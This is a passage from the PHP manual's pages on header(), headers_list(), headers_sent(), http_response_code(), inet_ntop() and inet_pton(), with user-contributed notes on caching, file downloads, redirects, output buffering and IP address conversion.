    } else {
        // Image not cached or cache outdated, we respond '200 OK' and output the image.
        header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($fn)).' GMT', true, 200);
        header('Content-Length: '.filesize($fn));
        header('Content-Type: image/png');
        print file_get_contents($fn);
    }

?>

That way foo.png will be properly cached by the client and you'll save bandwith. :)
aarondunlap.com 28-Dec-2004 02:17
I just made a function to allow a file to force-download (for a script to disallow file links from untrusted sites -- preventing mp3/video leeching on forums), and I realized that a script like that could potentially be very dangerous.

Someone could possibly exploit the script to download sensitive files from your server, like your index.php or passwords.txt -- so I made this switch statement to both allow for many file types for a download script, and to prevent certain types from being accessed.

<?php

function dl_file($file){

    //First, see if the file exists
    if (!is_file($file)) { die("<b>404 File not found!</b>"); }

    //Gather relevent info about file
    $len = filesize($file);
    $filename = basename($file);
    $file_extension = strtolower(substr(strrchr($filename,"."),1));

    //This will set the Content-Type to the appropriate setting for the file
    switch( $file_extension ) {
          case "pdf": $ctype="application/pdf"; break;
      case "exe": $ctype="application/octet-stream"; break;
      case "zip": $ctype="application/zip"; break;
      case "doc": $ctype="application/msword"; break;
      case "xls": $ctype="application/vnd.ms-excel"; break;
      case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
      case "gif": $ctype="image/gif"; break;
      case "png": $ctype="image/png"; break;
      case "jpeg":
      case "jpg": $ctype="image/jpg"; break;
      case "mp3": $ctype="audio/mpeg"; break;
      case "wav": $ctype="audio/x-wav"; break;
      case "mpeg":
      case "mpg":
      case "mpe": $ctype="video/mpeg"; break;
      case "mov": $ctype="video/quicktime"; break;
      case "avi": $ctype="video/x-msvideo"; break;

      //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
      case "php":
      case "htm":
      case "html":
      case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

      default: $ctype="application/force-download";
    }

    //Begin writing headers
    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: public");
    header("Content-Description: File Transfer");

    //Use the switch-generated Content-Type
    header("Content-Type: $ctype");

    //Force the download
    $header="Content-Disposition: attachment; filename=".$filename.";";
    header($header );
    header("Content-Transfer-Encoding: binary");
    header("Content-Length: ".$len);
    @readfile($file);
    exit;
}

?>

This works in both IE and Firefox.
guvnor 25-Oct-2004 11:38
One that tripped me up for a while...

When I use PHP sessions, the following headers are sent automatically to force the browser not to cache:

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

If you are having trouble with inline PDFs etc., thses may be causing you problems. As per other notes here if you overwrite these headers before outputting your file, the download problems will go away.

header('Cache-Control:');
header('Pragma:');

If you wish to retain the dynamic content, only send the above if the document you are returning is not HTML.

Its well worth examining your own headers (call your PHP script from another script using get_headers() for instance) before going mad trying to fix something - better still compare the headers from your script with headers from a static web page - it might save you hours of time.
j dot gizmo at aon dot at 28-Sep-2004 02:09
some browsers always reload stylesheets, javascripts and other seldomnly changing files, which causes nasty delays when loading a website (Safari on MacOS is an example)

to tell the browser to keep files in cache for at least a day, you can use
<?php
header('Expires: ' . gmdate('D, d M Y H:i:s', time()+24*60*60) . ' GMT');
?>
This has the nice sideeffect of telling other browser that never refresh pages to refresh them at least once a day.

PS: i figure this is trivial, but it cost me some headache
ondrew at quick dot cz 17-Sep-2004 05:19
How to force browser to use already downloaded and cached file.

If you have images in DB, they will reload each time user views them. To prevent this, web server must identify each file with ID.

When sending a file, web server attaches ID of the file in header called ETag.
header("ETag: \"uniqueID\");

When requesting file, browser checks if the file was already downloaded. If cached file is found, server sends the ID with the file request to server.

Server checks if the IDs match and if they do, sends back
header("HTTP/1.1 304 Not Modified");
else
Server sends the file normally.

<?php

  $file = getFileFromDB();

  // generate unique ID
  $hash = md5($file['contents']);

  $headers = getallheaders();

  // if Browser sent ID, we check if they match
  if (ereg($hash, $headers['If-None-Match']))
  {
    header('HTTP/1.1 304 Not Modified');
  }
  else
  {
    header("ETag: \"{$hash}\"");
    header("Accept-Ranges: bytes");
    header("Content-Length: ".strlen($file['content']));
    header("Content-Type: {$mime}");
    header("Content-Disposition: inline; filename=\"{$file['filename']}\";");

    echo $file['content'];
  }
  exit();
?>
pete at flifl dot com 20-Jul-2004 04:08
Is Unicode, UTF-8 and setcookie, session_start at the same time impossible...?

Well, then you might need this...:

1) Keep your source files in ASCII to avoid the Byte Order Mark (BOM) confusion hell when include'ing or require'ing multiple files and avoid cookies not working because of the "header already sent" thing..

2) use this source:
-------->
<?php
   header('Content-Type: text/html; charset=utf-8');
   header('Set-Cookie: track=978268624934537');
?>
<html>
   <head>
       <meta http-equiv=Content-Type content="text/html; charset=utf-8" />
<--------

Output through Apache to the browser will be UTF-8 and does not require browser to get page twice and the cookie works.
Your Chinese or cyrillic characters will work and come on out right too, provided you make an input script to put them into mysql using this scheme too.

Seems to me to be the way to use utf-8 with cookies. I hope you like it.

Peter Sierst Nielsen
jp at webgraphe dot com 21-Nov-2003 03:56
A call to session_write_close() before the statement

<?php
    header("Location: URL");
    exit();
?>

is recommended if you want to be sure the session is updated before proceeding to the redirection.

We encountered a situation where the script accessed by the redirection wasn't loading the session correctly because the precedent script hadn't the time to update it (we used a database handler).

JP.
manuzhai dot REMOVE dot THIS at php dot net 18-Nov-2003 03:00
If you are using a redirect to an ErrorDocument, you may want to prefix your output with header("HTTP/1.0 200 OK"); to make sure automated clients don't think your file wasn't found.
emmett_the_spam at yahoo dot com 04-Nov-2003 05:17
This is a heads-up not just for php, but for any method of creating a 302 redirect.  Mac IE 5.1.4 (osx) has a serious bug when it comes to the 302.

Say you have a form post page A with action pointing to a submit page B, and the submit page B processes and sends a 302 redirect back to the form page A.  All works fine with that part.  Now hit refresh while on page A, and the last form POST is suddenly delivered to page A!

This can be a very confusing bug to deal with, depending on how your code handles incoming post data.  It could also be potentially very dangerous in terms of data loss, if it occurs within database administration pages (where I ran into it).  What you may want to do is plan your site so that the form page itself never needs to read POST data, and then ignore all POST data.  Either that, or in the location url from your header function add a query argument such as "nopost=1" which, when present, indicates to your page A code to ignore the POST data.

I've tested with Firebird Mac/PC, and IE6 on PC, and those browsers do not exhibit this behaviour.
bMindful at fleetingiamge dot org 31-May-2003 03:08
If you haven't used, HTTP Response 204 can be very convenient. 204 tells the server to immediately termiante this request. This is helpful if you want a javascript (or similar) client-side function to execute a server-side function without refreshing or changing the current webpage. Great for updating database, setting global variables, etc.

     header("status: 204");  (or the other call)
     header("HTTP/1.0 204 No Response");
dadarden_nospamola at iti2 dot nospamola dot net 19-Jul-2002 05:38
If you use session_start() at the top of a php script that also has header() calls later in the script for a file download then you must add some form of cache control for IE to work properly.  I use header('Cache-Control: public'); immediately after the code at the top of the script with the session_start() call that verifies that I have a properly logged in user.  That allows the header() and fpassthru() calls to download a file later in the script using IE 5.5 SP2.
header_remove
headers_list
Network Functions


Returns a list of response headers sent (or ready to send)

header
headers_sent
Network Functions
PHP Manual

headers_list

(PHP 5)

headers_list — Returns a list of response headers sent (or ready to send)

Description

array headers_list ( void )

headers_list() will return a list of headers to be sent to the browser / client. To determine whether or not these headers have been sent yet, use headers_sent().

Return Values

Returns a numerically indexed array of headers.

Examples

Example #1 Examples using headers_list()

<?php

/* setcookie() will add a response header on its own */
setcookie('foo', 'bar');

/* Define a custom response header
   This will be ignored by most clients */
header("X-Sample-Test: foo");

/* Specify plain text content in our response */
header('Content-type: text/plain');

/* What headers are going to be sent? */
var_dump(headers_list());

?>

The above example will output:

array(4) {
  [0]=>
  string(23) "X-Powered-By: PHP/5.1.3"
  [1]=>
  string(19) "Set-Cookie: foo=bar"
  [2]=>
  string(18) "X-Sample-Test: foo"
  [3]=>
  string(24) "Content-type: text/plain"
}

Notes

Note:

Headers will only be accessible and output when a SAPI that supports them is in use.

See Also

  • headers_sent() - Checks if or where headers have been sent
  • header() - Send a raw HTTP header
  • setcookie() - Send a cookie
  • apache_response_headers() - Fetch all HTTP response headers
  • http_response_code() - Get or Set the HTTP response code

User Contributed Notes

There are no user contributed notes for this page.
header
headers_sent
Network Functions


Checks if or where headers have been sent

headers_list
http_response_code
Network Functions
PHP Manual

headers_sent

(PHP 4, PHP 5)

headers_sent — Checks if or where headers have been sent

Description

bool headers_sent ([ string &$file [, int &$line ]] )

Checks if or where headers have been sent.

You can't add any more header lines using the header() function once the header block has already been sent. Using this function you can at least prevent getting HTTP header related error messages. Another option is to use Output Buffering.

Parameters

file

If the optional file and line parameters are set, headers_sent() will put the PHP source file name and line number where output started in the file and line variables.

line

The line number where the output started.

Return Values

headers_sent() will return FALSE if no HTTP headers have already been sent or TRUE otherwise.

Changelog

Version | Description
4.3.0 | The optional file and line parameters were added.

Examples

Example #1 Examples using headers_sent()

<?php

// If no headers are sent, send one
if (!headers_sent()) {
    header('Location: http://www.example.com/');
    exit;
}

// An example using the optional file and line parameters, as of PHP 4.3.0
// Note that $filename and $linenum are passed in for later use.
// Do not assign them values beforehand.
if (!headers_sent($filename, $linenum)) {
    header('Location: http://www.example.com/');
    exit;

// You would most likely trigger an error here.
} else {

    echo "Headers already sent in $filename on line $linenum\n" .
          "Cannot redirect, for now please click this <a " .
          "href=\"http://www.example.com\">link</a> instead\n";
    exit;
}

?>

Notes

Note:

Headers will only be accessible and output when a SAPI that supports them is in use.

See Also

  • ob_start() - Turn on output buffering
  • trigger_error() - Generates a user-level error/warning/notice message
  • headers_list() - Returns a list of response headers sent (or ready to send)
  • header() - Send a raw HTTP header for a more detailed discussion of the matters involved.

User Contributed Notes

szczepan.krol[et]gmail[*]com 21-Oct-2010 02:10
Here a function to check also if any other outout is already sent:
<?php

function output_send(){
    if (!headers_sent() && error_get_last()==NULL ) {
        return false;

    }
    return true;
}
?>
Jase 08-Apr-2009 06:42
This is becoming annoying the amount of posts to try and describe the behaviour of headers

Headers appear first in the data sent to the user's browser

if headers have been called using the header() function but no data has been sent to the output buffer (using echo, readfile etc), then the headers are sent at the end of script execution otherwise they are sent when the buffer reaches it's limit and emptied

simple

this means that headers_sent() will return false if nothing is sent to the output buffer because the headers are being sent at the end of the script

This is not a bug either, this is expected behaviour. Keeping headers until forced to send them out is a good idea because certain measures can be taken like prevention of meta injection etc (option in header() to replace headers that have not yet been sent)

besides, headers_sent() is good for when you try and send headers but the output buffer has already been emptied (in cases of php error handling for example). Obviously if the buffer has emtpied, sending headers won't work.
yesmarklapointe at hotmail dot com 21-Oct-2008 06:07
I was having trouble getting my mind around the concepts involved. Here is my dilemma and the conclusion I reached in case recounting them can help others:

I am using WAMPserver: PHP 5.2.6, and Apache 2.2.8 on Windows XP SP3. If it matters to your duplication,
I found two php.ini files in WAMPserver where output_buffering had been set to 4096. I changed them to OFF for this testing.

Here is how you can replicate what I am experiencing: With IE 7.0 go to Tools ... Display ieHTTPheaders ... and run the following script repeatedly and watch what happens:

<?php
header( 'Expires: Mon, 26 Jul 1998 05:00:00 GMT' );
//var_dump(headers_sent());
//print("whatever");
//flush();
//echo "whatever";
var_dump(headers_sent());
?>

Result: the final var_dump of the headers_sent() function will
always return FALSE unless any one or  more of the commented lines above it are uncommented. Uncommenting the statements allows an output to be sent to the user not just to their browser, after which the final var_dump will return TRUE. What I found confusing was that the ieHTTPheaders tool shows that the header is being sent to the user's browser even when all the output lines are commented out. So why does headers_sent() return FALSE in this case? Because you can keep sending other headers. The headers_sent function is meant to alert one to when no further headers can be sent. My testing shows it does not return true unless some other output is also sent after the header, thereby signaling that  "Headers have been sent and concluded with user output. NOW you can't send any more headers."

Someone else worked his way through this problem in a (false) bug report: http://bugs.php.net/bug.php?id=30264
Here is the relevant part of the reply from the pro:
"When you use compression the entire page is buffered in memory, until end of the request. Consequently you can send headers at any time because no data is being actually sent to user when you print it. Until PHP actually decides to send any page output to the user you can still send additional headers which is why the headers_sent() function is returning false. It will return true, indicating that headers have been sent  only at a time when output began going to the user and you no longer can send any additional headers."

So in summary, my point is that there is a difference between headers being sent only to the browser (which can be followed by other headers) vs. headers being sent and concluded by output for the user. The function should have been given a more clear name like headers_concluded().
loaded67 at hotmail dot com 17-Feb-2008 10:54
very handy function!

When working with GD I made something like:

<?php
class image{

    /**
     * show
     * sends image to browser and destroy the resource if headers not sent.
     * use php constants IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG
     *
     * @final
     * @static
     * @access public
     * @param resource $resource
     * @param int $type
     */
    final static public function show($resource, $type){
        if(!headers_sent()){
            header('Cache-control: private');
            switch($type){
                case IMAGETYPE_GIF :    header('Content-type: image/gif');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.gif');
                                        imagegif($resource);
                                        break;
                case IMAGETYPE_JPEG :     header('Content-type: image/jpeg');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.jpg');
                                        imagejpeg($resource, NULL, 99);
                        break;
                case IMAGETYPE_PNG :     header('Content-type: image/png');
                                        header('Content-Disposition: filename='.basename(__FILE__).'.png');
                                        imagepng($resource, NULL, 0,  NULL);
                        break;
            }
            imagedestroy($resource);
            exit;
        }
    }
}
?>

This way if you are debugging... and flush output... you will not get the endless list of headers allready send errors...

Hope it's helpfull... ;)
Anonymous 12-Feb-2008 12:33
I used $file from headers_sent() to determine if output has started rather than if headers have started to be sent; because the output hasn't started in between headers. This was to determine how long the xml serializer was taking to render output in my project.

<?php

# if debugging then...
    DEBUG && register_shutdown_function( 'timer::comment' );

abstract class timer {

# I would post the rest of the class, however it is too long.
# Use some imagination ;D
#
#    ...
#

    public static function comment() {
        headers_sent( $file );
        if ( $file )
            print( '<!-- render time="' . timer::stop() . '" /-->' . LINEBREAK );
    }

}

?>
vasnake at gmail dot com 22-Jul-2007 03:55
In my case, when I install PHP 5.2.1 in CGI mode under Apache 2.2.3 (on windows 2003 SP2),
function sent_headers() always return false. flash(), ob_end_flash(), so on... no matter.
I suppose, Apache buffering all PHP output until exit()
collectours at free dot fr 18-Jun-2007 02:32
In response to K.Tomono and alexrussell101 at gmail dot com :

Yes,
headers_sent() will return false, even if you sent something to the ouptut using print() or header() , if output_buffering is different from Off in you php.ini, and the length of what you sent does not exceed the size of output_buffering.

To test it, try this code with  these values in php.ini
1) output_buffering=32
2) output buffering = 4096

[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
    echo "enough text to feed the buffer until it overflows ;-)<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]

then put
3) output buffering = Off
and try this code
[code]
<?php
    echo "Yo<br />";
    echo "Sent:",headers_sent(),"<br />";
?>
[/code]
which will this time unconditionnally say that headers were sent.

This is noticed in php.ini comment :
"Output buffering allows you to send header lines (including cookies) even after you send body content, in the price of slowing PHP's output layer a bit."

Note : This is completly independant of implicit_flush tuning.
kamermans at teratechnologies dot net 21-Aug-2006 01:24
If you are using output buffering and you use the flush() command ANYWHERE headers_sent() will return true - even if the buffer is seemingly empty.
Jakob B. 07-Jan-2006 03:03
<?php
function redirect($filename) {
    if (!headers_sent())
        header('Location: '.$filename);
    else {
        echo '<script type="text/javascript">';
        echo 'window.location.href="'.$filename.'";';
        echo '</script>';
        echo '<noscript>';
        echo '<meta http-equiv="refresh" content="0;url='.$filename.'" />';
        echo '</noscript>';
    }
}
redirect('http://www.google.com');
?>
trevize (shtrudel) gmail.com 30-Nov-2005 06:43
Note that in IIS (or at least the version that comes with W2K server), the server seems to do some buffering, so even if you output someting or cause a warning, the value of headers_sent() may be false because the headers haven't been sent yet.

So it's not a safe way to know if warnings have been encountered in your script.
php [at] barryhunter [.] co [.] uk 09-Sep-2005 03:42
In responce to: Terry 11-Feb-2005 03:58

if PHP is run as a Module, then it will behave as you describe

However if PHP is run as a CGI then it will be behave like Perl, (which uses CGI unless its mod_perl), as this is a CGI behaviour.

See http://ppewww.ph.gla.ac.uk/~flavell/www/perlcgifaq.html
alexrussell101 at gmail dot com 01-Sep-2005 03:31
To K.Tomono:

Headers are not sent as soon as you call the header() function. They are only sent as soon as some body content (i.e. HTML via echo or escaping from PHP parsing mode) is reached (or, like you did, you send a flush.) Thus after calling header a few times at the beginning they are still unsent and when you call headers_sent() it knows they haven't been sent and reports so. Only when the script ends or you output from content do all the headers so far send.
I think you misunderstood the way they are done and hopefully this should clear a few things up for you.
mark at dreamjunky dot com 28-Jun-2005 09:56
In case this comes up with anyone else, you might trigger headers to be sent if you have a PHP file with extra space after the closing ?>.  In particular, if you include that file at the top of your main script, it will cause headers to send, followed by the space after the ?> in your included script.  In short, make sure you don't have any space trailing your final ?>.
K.Tomono 21-Apr-2005 10:24
[code]
<?php
header("Cache-Control: private, must-revalidate, max-age=3600, post-check=3600, pre-check=3600");
////header("Last-Modified: " . gmdate("D, d M Y H:i:s",getlastmod())." GMT");
////ini_set("last_modified","1");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
flush(); // <= (*1)
...
if (!headers_sent()) {
  header('Content-Type:text/html; charset='._CHARSET);
  header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
  //header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');
  header('Cache-Control: private, no-cache');
  header('Pragma: no-cache');
}
...
?>
[/code]

headers_sent() does not evaluate it as true, unless the flush()(*1) has been done.

It seems that it does not mean header was sent unless a header output is taken
out to the exterior of PHP.

Apache 2.0.53 (prefork)
PHP 5.0.3 (server module)
... And XOOPS 2.0.9.2

I had seldom paid attention to flush() on PHP which is not C.
However, it might have been a required thing.

[pre]
$ curl --cookie PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX -i \
"http ://myhost.mydomain/xoops/modules/test.php?i=1" | less
  % Total    % Received % Xferd  Average Speed          Time             Curr.
                                 Dload  Upload Total    Current  Left    Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:00 --:--:--     0

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2005 05:00:11 GMT
Server: Apache
X-Powered-By: PHP/5.0.3
Set-Cookie: PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, must-revalidate, max-age=3600, post-check=3600, pre-check=3600
Pragma: no-cache
Last-Modified: Fri, 22 Apr 2005 05:00:11 GMT
Transfer-Encoding: chunked
Content-Type: text/html
[/pre]
(*)"http :" is "http:" in fact.
Terry 10-Feb-2005 07:58
For programmers used to Perl, note that sending a relative 'Location:' header sends a redirect to the browser in PHP, unlike Perl which will attempt to call relative URLs using an internal subrequest and return that page to the browser without redirecting.  If you want to do the same trick in PHP, use include() or virtual().
php at fufachew dot REMOVEME dot com 28-Feb-2004 11:26
RE: antti at haapakangas dot net's post

I've changed the code so $_SERVER['SERVER_NAME'] is used if $_SERVER['HTTP_HOST'] is not set.  $_SERVER['SERVER_NAME'] doesn't meet my needs, but I suppose it's good to fall back on it.  I've also fixed a problem in the meta refresh line - it was missing the "url=" part of the content attribute.

<?php
function server_url()
{
    $proto = "http" .
        ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "s" : "") . "://";
    $server = isset($_SERVER['HTTP_HOST']) ?
        $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
    return $proto . $server;
}

function redirect_rel($relative_url)
{
    $url = server_url() . dirname($_SERVER['PHP_SELF']) . "/" . $relative_url;
    if (!headers_sent())
    {
        header("Location: $url");
    }
    else
    {
        echo "<meta http-equiv=\"refresh\" content=\"0;url=$url\">\r\n";
    }
}
?>
antti at haapakangas dot net 28-Jan-2004 12:39
Re: php at fufachew dot com

That's a nice example how to implement Location header in a correct way (using absoluteURI). 95% of the scripts I have seen just use relativeURI which is wrong. Some browsers, for example lynx, actually notify user about incomplete Location headers. However it might be safer to use $_SERVER['SERVER_NAME'] instead of $_SERVER['HTTP_HOST']. Host header is a HTTP/1.1 feature and you can not count on that if you want to be interoperable with HTTP/1.0 implementations.
headers_list
http_response_code
Network Functions


Get or Set the HTTP response code

headers_sent
inet_ntop
Network Functions
PHP Manual

http_response_code

(No version information available, might only be in SVN)

http_response_code — Get or Set the HTTP response code

Description

int http_response_code ([ int $response_code ] )

If you pass no parameters then http_response_code will get the current status code. If you pass a parameter it will set the response code.

Parameters

response_code

The optional response_code will set the response code.

<?php
http_response_code(404);
?>

Return Values

The current response code. By default the return value is int(200).

Examples

Example #1 Examples using headers_list()

<?php

// Get the current default response code
var_dump(http_response_code()); // int(200)

// Set our response code
http_response_code(404);

// Get our new response code
var_dump(http_response_code()); // int(404)
?>

The above example will output:

See Also

  • header() - Send a raw HTTP header
  • headers_list() - Returns a list of response headers sent (or ready to send)

User Contributed Notes

craig at craigfrancis dot co dot uk 25-Jan-2012 04:38
If your version of PHP does not include this function:

<?php

    if (!function_exists('http_response_code')) {
        function http_response_code($code = NULL) {

            if ($code !== NULL) {

                switch ($code) {
                    case 100: $text = 'Continue'; break;
                    case 101: $text = 'Switching Protocols'; break;
                    case 200: $text = 'OK'; break;
                    case 201: $text = 'Created'; break;
                    case 202: $text = 'Accepted'; break;
                    case 203: $text = 'Non-Authoritative Information'; break;
                    case 204: $text = 'No Content'; break;
                    case 205: $text = 'Reset Content'; break;
                    case 206: $text = 'Partial Content'; break;
                    case 300: $text = 'Multiple Choices'; break;
                    case 301: $text = 'Moved Permanently'; break;
                    case 302: $text = 'Moved Temporarily'; break;
                    case 303: $text = 'See Other'; break;
                    case 304: $text = 'Not Modified'; break;
                    case 305: $text = 'Use Proxy'; break;
                    case 400: $text = 'Bad Request'; break;
                    case 401: $text = 'Unauthorized'; break;
                    case 402: $text = 'Payment Required'; break;
                    case 403: $text = 'Forbidden'; break;
                    case 404: $text = 'Not Found'; break;
                    case 405: $text = 'Method Not Allowed'; break;
                    case 406: $text = 'Not Acceptable'; break;
                    case 407: $text = 'Proxy Authentication Required'; break;
                    case 408: $text = 'Request Time-out'; break;
                    case 409: $text = 'Conflict'; break;
                    case 410: $text = 'Gone'; break;
                    case 411: $text = 'Length Required'; break;
                    case 412: $text = 'Precondition Failed'; break;
                    case 413: $text = 'Request Entity Too Large'; break;
                    case 414: $text = 'Request-URI Too Large'; break;
                    case 415: $text = 'Unsupported Media Type'; break;
                    case 500: $text = 'Internal Server Error'; break;
                    case 501: $text = 'Not Implemented'; break;
                    case 502: $text = 'Bad Gateway'; break;
                    case 503: $text = 'Service Unavailable'; break;
                    case 504: $text = 'Gateway Time-out'; break;
                    case 505: $text = 'HTTP Version not supported'; break;
                    default:
                        exit('Unknown http status code "' . htmlentities($code) . '"');
                    break;
                }

                $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');

                header($protocol . ' ' . $code . ' ' . $text);

                $GLOBALS['http_response_code'] = $code;

            } else {

                $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200);

            }

            return $code;

        }
    }

?>

In this example I am using $GLOBALS, but you can use whatever storage mechanism you like... I don't think there is a way to return the current status code:

https://bugs.php.net/bug.php?id=52555

For reference the error codes I got from PHP's source code:

http://lxr.php.net/opengrok/xref/PHP_5_4/sapi/cgi/cgi_main.c#354

And how the current http header is sent, with the variables it uses:

http://lxr.php.net/opengrok/xref/PHP_5_4/main/SAPI.c#856
headers_sent
inet_ntop
Network Functions


Converts a packed internet address to a human readable representation

http_response_code
inet_pton
Network Functions
PHP Manual

inet_ntop

(PHP 5 >= 5.1.0)

inet_ntop — Converts a packed internet address to a human readable representation

Description

string inet_ntop ( string $in_addr )

This function converts a 32bit IPv4, or 128bit IPv6 address (if PHP was built with IPv6 support enabled) into an address family appropriate string representation.

Parameters

in_addr

A 32bit IPv4, or 128bit IPv6 address.

Return Values

Returns a string representation of the address or FALSE on failure.

Examples

Example #1 inet_ntop() Example

<?php
$packed = chr(127) . chr(0) . chr(0) . chr(1);
$expanded = inet_ntop($packed);

/* Outputs: 127.0.0.1 */
echo $expanded;

$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

See Also

  • long2ip() - Converts an (IPv4) Internet network address into a string in Internet standard dotted format
  • ip2long() - Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address
  • inet_pton() - Converts a human readable IP address to its packed in_addr representation

User Contributed Notes

PandoraBox2007 at gmail dot com 03-Dec-2011 09:05
Before inet_pton nice work
//2001:0db8:85a3:0000:0000:8a2e:0370:7334

After
//2001:db8:85a3::8a2e:370:7334

no need compare compress data
string inet_ntop ( string $in_addr [, bool $compress = false] )

---
ryansun81 at gmail dot com 27-May-2010 03:11
For people who wondering what the meaning of this function name:
pton: a presentation(printable) format address to network address
ntop: a network address to presentation(printable) format address
MagicalTux at FF dot st 04-May-2005 04:43
For people who need this function but don't have it, I could write a function which should give almost the same result.

<?php
function my_inet_ntop($ip) {
    if (strlen($ip)==4) {
        // ipv4
        list(,$ip)=unpack('N',$ip);
        $ip=long2ip($ip);
    } elseif(strlen($ip)==16) {
        // ipv6
        $ip=bin2hex($ip);
        $ip=substr(chunk_split($ip,4,':'),0,-1);
        $ip=explode(':',$ip);
        $res='';
        foreach($ip as $seg) {
            while($seg{0}=='0') $seg=substr($seg,1);
            if ($seg!='') {
                $res.=($res==''?'':':').$seg;
            } else {
                if (strpos($res,'::')===false) {
                    if (substr($res,-1)==':') continue;
                    $res.=':';
                    continue;
                }
                $res.=($res==''?'':':').'0';
            }
        }
        $ip=$res;
    }
    return $ip;
}
?>

I followed IPv6 reprenstation rules :
- A series of "0"s in a 16bit block can by represented by "0".
- A series of blocks containing only "0"s can be suppressed and represented by "::" (this can be done only once)

(source : http://www.ipv6style.jp/en/faq/latest.shtml#2003022112 )

Example:
<?php
$packed = str_repeat(chr(0), 15) . chr(1);
$expanded = my_inet_ntop($packed);

/* Outputs: ::1 */
echo $expanded;
?>

I checked in CVS (2005-04-25) and didn't find the inet_ntop function (I really needed to handle IPv6) so I implemented it myself !
mirko dot steiner at slashdevslashnull dot de 23-Mar-2005 11:08
i've used this nice one oneline code:

<?PHP
$one     = 192;
$two     = 168;
$three     = 1;
$four    = 1;

$ip = $one*pow(256,3) + $two*pow(256,2) + $three*pow(256,1) + $four*pow(256,0);

echo $ip;
?>

you can also put the first one, shift them by 24 bits to the right, take the secod and shift them by 16, the 3rd by 8 and put thouse all together bitwise...
http_response_code
inet_pton
Network Functions


Converts a human readable IP address to its packed in_addr representation

inet_ntop
ip2long
Network Functions
PHP Manual

inet_pton

(PHP 5 >= 5.1.0)

inet_pton — Converts a human readable IP address to its packed in_addr representation

Description

string inet_pton ( string $address )

This function converts a human readable IPv4 or IPv6 address (if PHP was built with IPv6 support enabled) into an address family appropriate 32bit or 128bit binary structure.

Parameters

address

A human readable IPv4 or IPv6 address.

Return Values

Returns the in_addr representation of the given address, or FALSE if a syntactically invalid address is given (for example, an IPv4 address without dots or an IPv6 address without colons).

Examples

Example #1 inet_pton() Example

<?php
$in_addr = inet_pton('127.0.0.1');

$in6_addr = inet_pton('::1');
?>

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

See Also

  • ip2long() - Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address
  • long2ip() - Converts an (IPv4) Internet network address into a string in Internet standard dotted format
  • inet_ntop() - Converts a packed internet address to a human readable representation

User Contributed Notes

francis dot besset at gmail dot com 15-Jul-2011 01:45
It is possible to verify if PHP was compiled with --disable-ipv6 option by AF_INET6 constant.

<?php

if (defined('AF_INET6')) {
  echo "PHP was compiled without --disable-ipv6 option";
} else {
  echo "PHP was compiled with --disable-ipv6 option";
}

?>
strata_ranger at hotmail dot com 13-Sep-2009 10:51
If the input string is not a readable IP address, inet_pton() generates an E_WARNING and returns FALSE.  The same is true for inet_ntop().

Also, inet_pton() does not recognize netmask notation (e.g: "1.2.3.4/24" or "1:2::3:4/64") in the input string.  This differs from how some database systems (like postgreSQL) support IP address types, so if you need that sort of functionality when processing IP addresses in PHP you'll have to write it in yourself.

A rough example:

<?php

// Sample IP addresses
$ipaddr = '1.2.3.4/24'; // IPv4 with /24 netmask
$ipaddr = '1:2::3:4/64'; // IPv6 with /64 netmask

// Strip out the netmask, if there is one.
$cx = strpos($ipaddr, '/');
if ($cx)
{
  $subnet = (int)(substr($ipaddr, $cx+1));
  $ipaddr = substr($ipaddr, 0, $cx);
}
else $subnet = null; // No netmask present

// Convert address to packed format
$addr = inet_pton($ipaddr);

// Let's display it as hexadecimal format
foreach(str_split($addr) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);
echo "<br />\n";

// Convert the netmask
if (is_integer($subnet))
{
  // Maximum netmask length = same as packed address
  $len = 8*strlen($addr);
  if ($subnet > $len) $subnet = $len;

  // Create a hex expression of the subnet mask
  $mask  = str_repeat('f', $subnet>>2);
  switch($subnet & 3)
  {
  case 3: $mask .= 'e'; break;
  case 2: $mask .= 'c'; break;
  case 1: $mask .= '8'; break;
  }
  $mask = str_pad($mask, $len>>2, '0');

  // Packed representation of netmask
  $mask = pack('H*', $mask);
}

// Display the netmask as hexadecimal
foreach(str_split($mask) as $char) echo str_pad(dechex(ord($char)), 2, '0', STR_PAD_LEFT);

?>
eric at vyncke org 18-Jul-2007 10:52
Not so easy in the function below... It is not handling the case of '::' which can happen in an IPv6 and represents any number of 0, addresses could be as simple as ff05::1
me at diogoresende dot net 16-May-2006 02:34
If you want to use the above function you should test for ':' character before '.'. Meaning, you should check if it's an ipv6 address before checking for ipv4.
Why? IPv6 allows this type of notation:

::127.0.0.1

If you check for '.' character you will think this is an ipv4 address and it will fail.
djmaze(AT)dragonflycms(.)org 14-Dec-2005 12:01
If you need the functionality but your PHP version doesn't have the functionality (like on windows) the following might help

<?php
function inet_pton($ip)
{
